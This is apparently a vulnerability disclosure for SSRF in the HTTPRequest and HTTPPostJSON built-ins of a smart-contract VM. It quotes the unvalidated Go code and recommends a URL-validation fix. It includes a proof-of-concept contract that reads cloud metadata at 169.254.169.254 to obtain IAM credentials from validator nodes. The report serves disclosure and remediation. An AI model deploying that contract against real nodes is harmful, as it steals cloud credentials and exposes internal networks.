Security: SSRF via smart contract HTTPRequest/HTTPPostJSON

[imfht]

CWE-918: Built-in VM functions HTTPRequest() and HTTPPostJSON() in packages/smart/funcs.go pass contract-supplied URLs directly to http.NewRequest() with zero validation. Any contract deployer can scan internal networks of validator nodes. Fix: add URL validation with private IP blocking.

[imfht]

Vulnerability Report: SSRF via Smart Contract Built-in Functions

Summary

The built-in VM functions HTTPRequest() and HTTPPostJSON() allow smart contracts to make arbitrary HTTP requests from validator nodes without any URL validation. A contract deployer can scan internal networks, access cloud metadata, and exfiltrate data from services behind the firewall.

Affected File

packages/smart/funcs.go, lines 1620-1657

Vulnerable Code

// packages/smart/funcs.go, lines 1620-1635
func HTTPRequest(sc *SmartContract, requrl, method string, head, params string) (string, error) {
    // ...
    req, err := http.NewRequest(method, requrl, body)  // requrl from contract - NO VALIDATION
    // ...
    client := &http.Client{Timeout: time.Second * 5}
    resp, err := client.Do(req)  // Fetches attacker-controlled URL
    // ...
}

// Similar pattern at line 1646:
func HTTPPostJSON(sc *SmartContract, requrl string, head, params string) (string, error) {
    req, err := http.NewRequest("POST", requrl, body)  // Same vulnerability
    // ...
}

Both functions are registered as VM built-ins accessible to any deployed smart contract (CLB/CLBMaster mode).

Impact

• CWE-918 (Server-Side Request Forgery)
• CVSS 3.1: 8.6 (High) — AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
• Requires: Ability to deploy smart contracts (CLB/CLBMaster mode)
• Attacker can:
  • Access AWS/GCP/Azure metadata (http://169.254.169.254/...) to steal IAM credentials from every validator node
  • Scan internal networks of all nodes running the contract
  • Access internal databases, admin panels, monitoring systems
  • Exfiltrate response data via the contract's return value

Proof of Concept

Deploy this smart contract:

// Needle contract that reads cloud metadata
contract SSRFPoC {
    action {
        var result string
        result = HTTPRequest("http://169.254.169.254/latest/meta-data/iam/security-credentials/", "GET", "{}", "{}")
        // result now contains the IAM role name
        // Second request to get actual credentials:
        result = HTTPRequest("http://169.254.169.254/latest/meta-data/iam/security-credentials/" + result, "GET", "{}", "{}")
        // result now contains AccessKeyId, SecretAccessKey, Token
    }
}

Recommended Fix

Add URL validation before making HTTP requests:

import "net"

func validateURL(requrl string) error {
    u, err := url.Parse(requrl)
    if err != nil {
        return fmt.Errorf("invalid URL: %w", err)
    }
    if u.Scheme != "http" && u.Scheme != "https" {
        return fmt.Errorf("only http/https allowed")
    }
    // Resolve hostname and block private IPs
    ips, err := net.LookupIP(u.Hostname())
    if err != nil {
        return fmt.Errorf("DNS resolution failed: %w", err)
    }
    for _, ip := range ips {
        if ip.IsLoopback() || ip.IsPrivate() || ip.IsLinkLocalUnicast() {
            return fmt.Errorf("access to private IP %s blocked", ip)
        }
    }
    return nil
}

func HTTPRequest(sc *SmartContract, requrl, method string, head, params string) (string, error) {
    if err := validateURL(requrl); err != nil {
        return "", err
    }
    // ... existing code
}

Discovery

Found via automated SAST with taint analysis (source: contract parameter requrl → sink: http.NewRequest()).